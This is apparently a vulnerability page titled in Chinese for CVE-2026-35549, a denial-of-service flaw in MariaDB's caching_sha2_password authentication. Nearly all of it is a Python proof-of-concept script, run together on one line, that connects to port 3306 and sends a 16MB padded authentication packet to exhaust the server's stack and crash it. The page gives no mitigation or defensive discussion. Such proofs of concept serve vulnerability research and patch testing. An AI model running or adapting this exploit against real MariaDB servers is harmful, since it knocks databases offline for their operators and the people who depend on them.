CVE-2026-35549 MariaDB认证插件拒绝服务漏洞

import socket import struct # PoC for CVE-2026-35549 # Target: MariaDB Server with caching_sha2_password enabled # Description: Sends a large packet to trigger stack exhaustion in sha256_crypt_r via alloca() def send_malicious_packet(host, port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) # Receive initial handshake packet packet = sock.recv(4096) # Construct a large authentication packet # The size needs to be large enough to blow the stack via alloca() # Example size: 16MB large_size = 0x1000000 # MySQL Packet Header: Length (3 bytes) + Sequence (1 byte) header = struct.pack('<I', large_size)[0:3] + bytes([1]) # Payload: Padding 'A's payload = b'A' * large_size full_packet = header + payload print(f"Sending packet of size: {len(full_packet)}") sock.send(full_packet) # Server should crash here print("Packet sent. Check server status.") except Exception as e: print(f"Exception occurred: {e}") finally: sock.close() if __name__ == "__main__": target_host = "127.0.0.1" target_port = 3306 send_malicious_packet(target_host, target_port)